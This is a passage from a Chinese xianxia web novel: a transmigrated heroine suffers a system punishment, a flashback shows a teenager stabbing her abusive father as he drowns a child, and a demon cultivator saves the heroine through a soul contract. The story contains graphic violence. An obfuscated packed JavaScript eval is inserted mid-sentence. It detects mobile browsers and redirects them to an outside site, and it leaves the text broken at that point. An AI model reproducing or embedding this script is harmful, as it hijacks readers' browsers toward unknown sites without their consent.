周明远胸间猛地一痛,又是一口血呛出,他倒在地上大口喘息着。
眼前还在不断地闪回方才阮清木出手的动作,没有什么章法可言,完全就是对他随意出招,可是那一瞬间迸发出的灵力,实在太恐怖了。
这般修为,杀他简直如碾蝼蚁。
阮清木无言地盯着“任务失败”四个字,强压下心中的怒意,瞥了一眼躺在地上差点断气的周明远,她只好先将面板收回。
她俯身半蹲下来,周明远往后猛爬了几下,身子斜靠在无形屏障上,满眼的恐惧。
“别……别来了,我认输。”
他企图捏诀将防御屏障设在自己和阮清木之间,却因体内灵脉已然受损,几次也没能成功。
周明远几缕血线挂在嘴边,阮清木见他这幅模样有些担忧,可别因为被她捶一拳就这么死了。
刚穿进来时她曾研究过自己的灵力,因她原身是截木头,本就日日要消耗灵力来维持人形,而供养她灵力的源头便是胸膛里的那颗心,若是这颗心的灵力耗尽,她便需要寻找新的,所以之前她基本不会浪费使用自己的灵力。
自从与风宴绑定后,她便无需再考虑这些了。
只是她方才出手时,并未想那么多,以为自己还是先前那个灵力低微,遇上鬼都要绕道走的炮灰。
现在看来,风宴这么高的修为给她实在是太浪费了,她只会这种暴力的输出,不懂一点术法。
周明远咳了几声,血丝从嘴角往外涌着,眼神也逐渐涣散,身后靠着的结界陡然间消散。四周空间扭曲,他们回到了仙孰学堂的那条长廊。
夕阳的金光倏地挤了进来,将二人影子投于长廊之上。周明远原本斜靠的身子往后倒去,阮清木一把拽住他的手腕,未及多想便抬手将素白的衣袖掩住他嘴角溢出的血线。
要是将这血迹留下又不知会惹出什么麻烦。
好在药堂离这极近,阮清木抄起周明远将他搭在自己的肩上,她侧头在他耳边低声道:“不想死就管好自己的嘴。”
周明远虽意识已经模糊,但仍可以听见阮清木的话,他几乎下意识地抽搐了一下,喉间挤出声音:“不……不敢了。”
将周明远扛到药堂门前,阮清木便直接离开了。
她手捏着墨青色的剑穗,眉间凝出愁容。剑穗没送出去,也不知道这次任务失败后系统的惩罚会是什么。
血污在她这身素白的衣裙上十分显眼,为避着人,她特意绕了路,穿过僻静的小径才回的竹胥居。
直到她回到房内,合上房门的那一刻,系统都没有出现。
窗外暮色渐浓,最后一缕日光藏于山脊之后,阮清木倚着窗边,理不出半分头绪来。
难道没有惩罚?
作为道具的剑穗也并没有消失,让她重新送一次也是可以的。
正思量着,陡然间阮清木胸口一痛。
【警告:任务失败,宿主即将接受惩罚。】
系统警告在她脑中响起,阮清木甚至没来得及做出任何反应,剧痛席卷全身,她重重栽倒在地。
-
破旧小区的楼道里又传来男人歇斯底里的叫骂声,桌椅翻倒的声音响起,叶仪熟视无睹地站在门前,她半张脸埋在阴影中,听着那些不堪入耳的脏话,眼睛一眨不眨。
嘭的一声,门被猛地踹开,惯性将门狠狠砸在墙上,从里面凑出一个叼着烟头的男人,他看见站在门口的叶仪,嘴角几下抽搐,手对着她一摆。
“拿来!”
叶仪仍是毫无表情,只将身后的背包递了过去。男人嫌她动作太慢,粗暴地一把夺过,嘴里仍骂骂咧咧个不停:“一个两个的都特么把钱看得跟命一样,真草了!”
他胡乱地翻着叶仪的背包,掏了半天,终于是从包中的一个夹层内翻出两张皱皱巴巴的纸币,他啐了一口:“就特么两百?”
叶仪像没听见一样没有任何反应。
那男人草了一声直接抬脚踹在叶仪身上,她的头撞在墙上,叶仪一声闷哼,下一秒被男人死命地攥住了衣领,“再敢让老子发现你藏钱,老子把你从楼顶上丢下去。”
窒息感让叶仪额间暴出青筋,她死盯着那男人。
“还特么敢瞪老子。”他猛地一把将她推搡在地,抬手便把背包抡在她的脸上,又踹了几脚,裤兜里的手机响起,他才转身迈着大步离开。
好吵……耳边不断传来嗡鸣声,叶仪皱起眉,她抓住自己的耳朵,企图弄清楚是什么东西在她脑中这么吵。
她感觉自己就像是一块浮木,不知道会被汹涌的海水冲到哪里,又不肯放过她让她彻底沉入海底。
倒在冰冷的水泥地上缓了好久,直到屋内又传出窸窣的声响,哭喊声撕心裂肺,她皱起眉,勉强撑起身。
拾起地上的背包,她扶着门踉跄爬起,屋内传来哭声,叶仪朝着哭声传来的方向走去。
她推开门,狭小的卫生间内,男人正死死压着个七八岁女孩的后颈,将她整个脑袋按进蓄满水的洗漱池中。
一旁的老妇人跪在湿滑的地上,枯瘦的手抓在男人身上,“求求你了,你放了她,放了孩子求你!”
男人一脚踹开老人,“滚!不给老子钱今天谁特么都别想活!”
叶仪猛地呛了一口水,肺痛得像要炸开一般,她撑着洗漱台的边缘挣扎着,可男人手中加重力道。
痛……哪里都痛死了!!!
她手边胡乱地抓着,指间忽然被尖锐的东西刺到,她慌乱摸索,是一把刀。
她没有半分犹豫,抓起手中的刀就猛地刺了下去!
男人痛呼一声,叶仪死命按住他的肩膀让他动弹不得,她将刀从男人的胸口拔出,紧接着又狠戾地刺下。
“别杀我……我,我可是你的,你的亲生父亲……”
父亲?
原来这种人叫做父亲?
他咒骂着,哪怕仅剩一丝力气仍从牙缝中挤出话来:“你……杀了我,你也……”
叶仪抬起手猛然在他脸上一划。
闭嘴!
逼仄潮湿的房间里被浓厚的血腥味填满。
十八岁的叶仪跪在地上,一只膝盖死压在男人身上,眼神狠戾如同厉鬼。
他痛苦地惨叫挣扎着,胸口的血喷溅出来,身体因痛得抽搐,叶仪的双手和脸上早就被溅得鲜血淋漓,分不清是汗水还是血水,她只是麻木地一刀再一刀地刺下。
你该死你该死你该死你该死你早就该死!
“……”
-
月至中天,静寂无声。
风宴眸色阴沉地推开了阮清木的房门。
因为双生魂契,他感知到了阮清木此时的状态。
她正处于濒死的边缘,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128509|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她那即将破散的神魂正牵动着他的神魂。
风宴走进她的房间,所经之处的烛火凭空燃起。他看见倒在地上痛苦蜷缩着的身影,冷白的衣裙上还染着一片血污。
他冷着脸查看了阮清木的情况,没有外伤。随即又运起灵力探向她的灵脉,也并无受损。
可是她呼吸很弱,面色惨白,身子无意识颤抖。
最重要的是她那已经开始涣散的神魂,因为双生魂契在不停地灼烧着他的神魂,再这样下去,就连他自己都会受创。
要直接杀了她吗?
房内静得只有阮清木因为痛苦而微薄的喘息声。
风宴深不见底的黑眸死盯着她,若在她神魂破碎前杀了她,便可解除契约,只是他要损耗些修为和寿元来抵抗魂契的反噬。
因他们并未行双修之术,所以神魂交融的程度并没有那么深,现在杀了她,可以全身而退。
漆黑的瞳仁幻化成幽绿色的竖瞳。
风宴牵起她的手,细长的手指缓缓将她的半攥着的掌心展开,二人指尖交叠摩挲,最后露出阮清木掌心中那道血印。
划破指尖,血珠滚落在阮清木手中那道血印之上,咒印触碰到血珠的一刹那散发出妖异的红光。
他将阮清木的掌心贴在自己的心口处,双目紧闭。
要用这颗心来牵制住她的神魂。
他周身萦绕黑气,脖颈瞬间爬满墨绿色的蛇鳞。要通过这道邪术来与她的神魂共鸣,以他寻常的封印自己灵力的状态无法做到,必须要进入魔化的状态。
他可以选择不救的。
只是通过双生魂契,他清晰地感知到阮清木的神魂在恐惧,甚至排斥着他。
是她在消散自己的神魂,恐惧和绝望让她想从这个世界彻底地逃离。
一番抉择下来,如果她死了还要耗损自己的修为来免去双生魂契的反噬,倒不如暂且救她一命。
风宴将自己的灵力外泄出来包裹住了她,他慢慢让她熟悉自己的神魂,一点一点,如同泠风一般,刚开始只是一缕,随即他释出更多的灵力,直到完全抓住了她。
他循序渐进地引导着她,一同跳动的心脏提醒阮清木,他们的神魂应是同频的,是相融的,是要死死纠缠的。
似乎是有所感应,阮清木的神魂不再抗拒他,甚至因为心跳的牵引,她溃散的神魂开始逐渐聚拢起来。随即又往他的神魂中钻去,她甚至依赖上了风宴的神魂。
风宴眉心蹙起,虽然他们之间连着魂契,可他并不想与她是神魂交融的太过亲密。
入魔百年来,他从未向人交出过自己的神魂。
只此一次,以后也绝对不会。
他再次将灵力释出,双生魂契的感应变强,阮清木的神魂随着他的控制找到自己应去的方向。
她掌间的咒印陡然间泛出点点荧光,顺着她的脉络游走在她的全身,最后钻进了她的心口。
阮清木终于自梦魇中挣脱出来,睁开了双眼,如溺水之人忽然得到了空气,她大口喘息。
良久,她涣散的瞳仁才逐渐聚焦,抚着自己的心口,气息平稳下来,她才注意到周身的环境。
很陌生。
她不被察觉地握着一直藏于袖中的匕首,指间用力到骨节都发白,眸间泛着冷光,视线缓缓移动,最终落在风宴的身上。
“你是谁?”